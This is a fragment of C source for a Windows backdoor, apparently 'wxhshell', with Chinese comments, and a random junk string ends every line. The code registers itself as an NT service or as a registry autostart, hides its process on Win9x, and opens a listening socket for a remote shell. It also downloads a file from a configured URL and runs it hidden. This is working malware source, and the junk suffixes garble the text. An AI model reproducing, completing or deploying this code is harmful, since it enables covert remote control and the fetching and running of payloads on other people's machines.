DWORD PebBaseAddress; `%I{l
DWORD AffinityMask; w[[@&T\`
DWORD BasePriority; fx"+ZR
ULONG UniqueProcessId; #IA(*oM
ULONG InheritedFromUniqueProcessId; RWcQT`
} PROCESS_BASIC_INFORMATION; g' U^fN
T>o# *{qn
PROCNTQSIP NtQueryInformationProcess; uKzz/Y{
717m.t,x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,qqV11P]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [zd-=.:+M[
fT~<C
{
HANDLE hProcess; )F2tV ]k\
PROCESS_BASIC_INFORMATION pbi; `3s-\>
6_><W"r:]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (pNng"/
if(NULL == hInst ) return 0; V]cY+4Y
+Z0E?,Oz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~m&oa@*=y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u<2sb;a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7ij=%if2@k
gZSi\m>
if (!NtQueryInformationProcess) return 0; OB@t(KNx*P
g o Z#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `W S
if(!hProcess) return 0; ~H~4 fp b
~[,TLg
6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }=4".V`-o
BJrNbo;T
CloseHandle(hProcess); 9}_f\Bs
DYl{{L8@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `t2! M\)
if(hProcess==NULL) return 0; jd'R2e
He23<hd!
HMODULE hMod; Y)RikF >
char procName[255]; O:R{4Q*5
unsigned long cbNeeded; $QnfpM%+=
0P
>dXd)T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yln.E vJjD
g5\B- 3{
CloseHandle(hProcess); \H12~=p`B
en":
if(strstr(procName,"services")) return 1; // 以服务启动 Lj,%pz J
pU/.|Sh
return 0; // 注册表启动 4w[ta?&6B
} A+8b]t_k
K.zs;^
// 主模块 ,Ou)F;r
int StartWxhshell(LPSTR lpCmdLine) EHjhez
{ !!>G{
SOCKET wsl; bm?TMhC
BOOL val=TRUE; 1nmWL0
int port=0; c:T P7"vG
struct sockaddr_in door; $^>vJk<
6*Qpq7Ml
if(wscfg.ws_autoins) Install(); ~5529
Ey%NqOs0#
port=atoi(lpCmdLine); @]4 s&;
|&Wo-;Ud
if(port<=0) port=wscfg.ws_port; y9<Fv|Ric
rJwJ5U
WSADATA data; [X]o`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t]XJq
$Yc9><i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^f]pK&MAmN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WLb7]rCTp
door.sin_family = AF_INET; @I:&ozy }=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }hxYsI"d
door.sin_port = htons(port); 5Bk
2Mp;/b!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |7'W)s5.
closesocket(wsl); GK+w1%6)
return 1;
`SrVMb(
} H;ib3?
6 H.Da]hk
if(listen(wsl,2) == INVALID_SOCKET) { y
6<tV.
closesocket(wsl); 9m4|1)
return 1; #u^d3
$Nj
} 39#>C~BOl
Wxhshell(wsl); _L>n!"E/
WSACleanup(); X.qKG0i
iYkNtqn/
return 0; {wySH[V
)-gyDA
} V-0Y~T
va<pHSX&I@
// 以NT服务方式启动 rD gl@B3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l"CONzm!
{ |Sm/Uq(c
DWORD status = 0; $-73}[UA 4
DWORD specificError = 0xfffffff; `PfC:L
]vMft?
serviceStatus.dwServiceType = SERVICE_WIN32; S0cO00_ob
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hrK^oa_[W
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IT|CfQ [D
serviceStatus.dwWin32ExitCode = 0; pP&~S<[
serviceStatus.dwServiceSpecificExitCode = 0; Lq.k?!D3uh
serviceStatus.dwCheckPoint = 0; pm+[,u!i
serviceStatus.dwWaitHint = 0; 3(kZfH~
fmh]Y/UC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `'`XB0vb
if (hServiceStatusHandle==0) return; \&fK 8H1
R}FN6cH
status = GetLastError(); 3V]a "C
if (status!=NO_ERROR) gqd#rjtfz
{ vSh)r 9
serviceStatus.dwCurrentState = SERVICE_STOPPED; ::6@mFL R
serviceStatus.dwCheckPoint = 0; lKcnM3n
serviceStatus.dwWaitHint = 0; 6*tGf`Pfdw
serviceStatus.dwWin32ExitCode = status; *RhdoD|a
serviceStatus.dwServiceSpecificExitCode = specificError; 3;AAC (X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -[z;y73]t
return; fy5)Tih%.*
} 4[D@[kAs
#"l=Lv
serviceStatus.dwCurrentState = SERVICE_RUNNING; KVBz=
serviceStatus.dwCheckPoint = 0; :s\s3#?
serviceStatus.dwWaitHint = 0; $l=m?r=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W;7cF8fu4
} a9%#
J^!
[/FIY!nC?
// 处理NT服务事件,比如:启动、停止 L-yC 'C
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?~"RCZ[;.f
{ u- ,=C/iU
switch(fdwControl) ^)WGc/
{ }/|1"D
case SERVICE_CONTROL_STOP: rnUe/HjH
serviceStatus.dwWin32ExitCode = 0; :B
im`mHl
serviceStatus.dwCurrentState = SERVICE_STOPPED; }I"^WCyH
serviceStatus.dwCheckPoint = 0; (Q&Z/Fe
serviceStatus.dwWaitHint = 0; kq+L63fZ
{ HUH=Y;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;IyQqP#,<
} q-'zZ#
return; Q =Z-vTD+
case SERVICE_CONTROL_PAUSE: j1)w1WY0@
serviceStatus.dwCurrentState = SERVICE_PAUSED; :7gIm|2"]
break; {8eNQ-4I
case SERVICE_CONTROL_CONTINUE: _:J!
|'
serviceStatus.dwCurrentState = SERVICE_RUNNING; }QK-@T@4<
break; o 0B`~7(
case SERVICE_CONTROL_INTERROGATE: gO29:L[t
break; /1YqDK0
}; W>.qGK|l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UWz<~Vy
} F{v+z8nW
NeYj[Q~xy
// 标准应用程序主函数 8WMC ~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +u7mw<A
8
{ dXZV1e1b
YIfbcR5
// 获取操作系统版本 czafBO6
OsIsNt=GetOsVer(); 0oD?4gn
GetModuleFileName(NULL,ExeFile,MAX_PATH); D?$f[+
@>?&Mw\c
// 从命令行安装 wml`3$"cf
if(strpbrk(lpCmdLine,"iI")) Install(); s<:J(gD
k7? (IU
// 下载执行文件
Re`= B
if(wscfg.ws_downexe) { u?!p[y6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |X>:"?4t
WinExec(wscfg.ws_filenam,SW_HIDE); 5bk5EE`
} x@yF|8
=73wngw
if(!OsIsNt) { uXXwMc<p
// 如果时win9x,隐藏进程并且设置为注册表启动 |,o!O39}>
HideProc(); c}QjKJ-c
StartWxhshell(lpCmdLine); Vx'_fb?wap
} C+_ NG
else 3vx?x39*Y
if(StartFromService()) 8@ b83
// 以服务方式启动 1Ypru<.)W
StartServiceCtrlDispatcher(DispatchTable); P:=3;d{v
else ,{$:Q}`
// 普通方式启动 7P=j2;7 v
StartWxhshell(lpCmdLine); qvCl
mZ
X=lOwPvP
return 0; dI3U*:$X
}